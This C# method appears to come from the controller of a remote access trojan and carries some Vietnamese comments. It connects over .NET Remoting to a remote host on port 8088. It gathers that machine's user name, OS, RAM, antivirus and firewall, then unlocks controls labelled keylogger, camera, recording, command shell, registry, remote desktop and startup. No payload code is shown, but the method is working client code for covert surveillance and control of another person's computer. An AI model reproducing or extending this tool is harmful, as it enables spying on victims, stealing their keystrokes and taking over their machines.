public void ConnectToServer()
{
if (IsAddressValid(tbServerIP.Text))
{
if (connected == false)
{
try
{
ChannelServices.RegisterChannel(channel, false);
//thuoc tinh nay chi dc set 1 lan,vi the neu co,khi disconnect va connect ->error
// RemotingConfiguration.CustomErrorsMode = CustomErrorsModes.Off;
hostInstance = (ScreenObject)Activator.GetObject(typeof(ScreenObject), "tcp://" + tbServerIP.Text + ":8088/ScreenObject");
// hostInstance = new ScreenObject();
MessageBox.Show("Connected to " + hostInstance.GetComputerName() + ":8088");
btActivePort.Enabled = true;
btClipBoard.Enabled = true;
btCMD.Enabled = true;
btFileManager.Enabled = true;
btFun.Enabled = true;
btInstall.Enabled = true;
btKeylogger.Enabled = true;
btProgram.Enabled = true;
btRegistry.Enabled = true;
btRemoteDesktop.Enabled = true;
btService.Enabled = true;
btStartup.Enabled = true;
btSystemInfo.Enabled = true;
btWindow.Enabled = true;
btAbout.Enabled = true;
btConnect.Text = "Disconnect";
btCamera.Enabled = true;
btRecord.Enabled = true;
tbServerIP.Enabled = false;
connected = true;
//system info
listViewItem = new ListViewItem();
listViewItem.Text = tbServerIP.Text;
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetComputerName();
listViewItem.SubItems.Add(listSubItem);
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetUserName();
listViewItem.SubItems.Add(listSubItem);
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetOSVersion();
listViewItem.SubItems.Add(listSubItem);
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetRam();
listViewItem.SubItems.Add(listSubItem);
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetAntiVirus();
//test cho win xp
// listSubItem.Text = "Bkav";
listViewItem.SubItems.Add(listSubItem);
listSubItem = new ListViewItem.ListViewSubItem();
listSubItem.Text = hostInstance.GetFirewall();
//test cho winxp
//listSubItem.Text = "Firewall";
listViewItem.SubItems.Add(listSubItem);
this.listViewServers.Items.Add(listViewItem);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
//Unregister the TCP Channel
ChannelServices.UnregisterChannel(channel);
}
}
else if (connected == true)
{
//Unregister the TCP Channel
ChannelServices.UnregisterChannel(channel);
listViewServers.Items.Clear();
connected = false;
btConnect.Text = "Connect";
btActivePort.Enabled = false;
btClipBoard.Enabled = false;
btCMD.Enabled = false;
btFileManager.Enabled = false;
btFun.Enabled = false;
btInstall.Enabled = false;
btKeylogger.Enabled = false;
btProgram.Enabled = false;
btRegistry.Enabled = false;
btRemoteDesktop.Enabled = false;
btService.Enabled = false;
btStartup.Enabled = false;
btSystemInfo.Enabled = false;
btWindow.Enabled = false;
btAbout.Enabled = false;
btCamera.Enabled = false;
btRecord.Enabled = false;
tbServerIP.Enabled = true;
}
}
else
{
MessageBox.Show("Invalid IP Address");
}
}